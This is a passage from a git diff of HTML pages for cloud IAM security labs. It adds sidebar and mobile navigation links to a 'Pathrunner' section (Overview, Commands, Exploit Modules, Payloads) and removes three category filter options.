+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/iam-015/index.html b/docs/labs/iam-015/index.html
index 31371e56..041bea08 100644
--- a/docs/labs/iam-015/index.html
+++ b/docs/labs/iam-015/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/iam-016/index.html b/docs/labs/iam-016/index.html
index 2e2ce230..61c6d062 100644
--- a/docs/labs/iam-016/index.html
+++ b/docs/labs/iam-016/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/iam-017/index.html b/docs/labs/iam-017/index.html
index ca3ed0a7..4ce482e0 100644
--- a/docs/labs/iam-017/index.html
+++ b/docs/labs/iam-017/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/iam-018/index.html b/docs/labs/iam-018/index.html
index 92e03292..ca3c6a01 100644
--- a/docs/labs/iam-018/index.html
+++ b/docs/labs/iam-018/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/iam-019/index.html b/docs/labs/iam-019/index.html
index 9e6efab5..d8aa011f 100644
--- a/docs/labs/iam-019/index.html
+++ b/docs/labs/iam-019/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
